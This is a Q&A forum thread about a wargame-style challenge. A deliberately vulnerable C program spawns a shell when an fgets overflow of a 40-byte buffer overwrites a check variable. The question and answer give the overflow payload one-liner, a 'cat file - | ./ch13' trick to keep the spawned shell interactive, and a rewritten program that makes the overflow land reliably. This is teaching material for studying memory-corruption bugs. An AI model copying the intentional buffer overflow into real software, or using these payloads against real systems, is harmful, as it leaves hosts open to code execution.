2

Here is the source code of the application to be exploited. ch13.c:

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/dash");
   }
   return 0;
}

After running in the shell:

python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13

It displays buffer content and "Yeah dude! you win!" but no new shell. GDB show that a new process is started but I am unable to interact with it. Is there are way of interacting with the spawned shell so that it doesnt terminate quickly?

3
  • 1
    Are you sure there is a /bin/dash on the system? Commented Jul 17, 2015 at 14:49
  • I'm curious what version of GCC you're using for this experiment -- my version (5.1.0) seems to order the variables buf, var, check, so the overflow only writes a nul byte into the first byte of check. It took me 10 minutes of messing with the code to get the variables placed in the correct order on the stack. Commented Jul 17, 2015 at 15:17
  • Im using gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) Commented Jul 22, 2015 at 11:25

1 Answer 1

9

Assuming /bin/dash is a typo, and you meant /bin/bash...

You're piping input into the ch13 program. When it calls system(), the shell inherits stdin and stdout from the calling program, which means it's taking input from the same pipe. However, by the time the shell starts executing, the pipe has already been emptied of all its input, and so the shell reads EOF and immediately terminates. What you really want is to pass in that buffer overflow into stdin, and then keep putting stuff into stdin afterwards. So, something like this should work:

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13

You may not see a bash prompt, but you should be able to type commands, hit enter, and get output.

EDIT: For future inquisitive visitors who may want to try this at home, you might want to use this updated version of the C program in the question. My version of GCC was putting the variables on the stack in a different order. Putting variables in a struct prevents GCC from reordering the variables however it pleases, so the buffer overrun should go right into the check variable as expected.

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{
  struct {
    char buf[40];
    int check;
  } locals = {.check = 0x04030201};

  fgets(locals.buf,45,stdin);

  printf("\n[buf]: %s\n", locals.buf);
  printf("[check] %p\n", locals.check);

  if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (locals.check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/bash");
   }
   return 0;
}
Sign up to request clarification or add additional context in comments.

1 Comment

Thank a lot for your help. Worked perfectly.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.